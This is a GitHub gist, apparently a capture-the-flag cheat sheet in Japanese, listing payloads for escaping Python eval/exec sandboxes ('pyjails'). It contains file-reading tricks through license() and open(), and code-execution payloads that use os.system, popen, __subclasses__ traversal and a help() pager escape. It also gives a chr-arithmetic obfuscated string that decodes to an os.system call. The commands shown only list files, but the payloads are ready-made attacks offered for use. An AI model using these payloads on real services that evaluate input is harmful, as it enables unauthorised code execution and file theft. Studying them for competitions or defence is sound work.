Skip to content

Instantly share code, notes, and snippets.

@xryuseix
Last active July 20, 2022 09:03
Show Gist options
  • Save xryuseix/8f58f849a1b4d599fe12ce5bddfb75cf to your computer and use it in GitHub Desktop.
Save xryuseix/8f58f849a1b4d599fe12ce5bddfb75cf to your computer and use it in GitHub Desktop.
Pyjail

eval

LFI

  • setattr(license, '_Printer__filenames', ['flag']);license()
  • open('flag','r').read()

RCE

  • __import__('os').system('ls')
  • help()
    • os.environ["PAGER"]"less"の場合のみ、less上で!lsなどを実行
  • help()
  • __builtins__.__import__('os').popen('ls').read()
  • ().__class__.__mro__[1].__subclasses__()[-1]('ls')
    • 環境によって().__class__.__mro__[1]の値が変わるので、-1は適宜変える
  • ''.__class__.__base__.__subclasses__()[-1]('ls')
    • 環境によって-1を適宜変える

exec

RCE

  • eval('chr(11+11+11+11+11+11+11+11+1+1+1+1+1+1+1)+chr(11+11+11+11+11+11+11+11+1+1+1+1+1+1+1)+chr(11+11+11+11+11+11+11+11+11+1+1+1+1+1+1)+chr(11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+1)+chr(111+1)+chr(111)+chr(111+1+1+1)+chr(111+1+1+1+1+1)+chr(11+11+11+11+11+11+11+11+1+1+1+1+1+1+1)+chr(11+11+11+11+11+11+11+11+1+1+1+1+1+1+1)+chr(11+11+11+1+1+1+1+1+1+1)+chr(11+11+11+1)+chr(111)+chr(111+1+1+1+1)+chr(11+11+11+1)+chr(11+11+11+1+1+1+1+1+1+1+1)+chr(11+11+11+11+1+1)+chr(111+1+1+1+1)+chr(111+1+1+1+1+1+1+1+1+1+1)+chr(111+1+1+1+1)+chr(111+1+1+1+1+1)+chr(11+11+11+11+11+11+11+11+11+1+1)+chr(11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+1)+chr(11+11+11+1+1+1+1+1+1+1)+chr(11+11+11+1)+chr(11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1)+chr(111+1+1+1+1)+chr(11+11+11+1)+chr(11+11+11+1+1+1+1+1+1+1+1)')

Auto

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment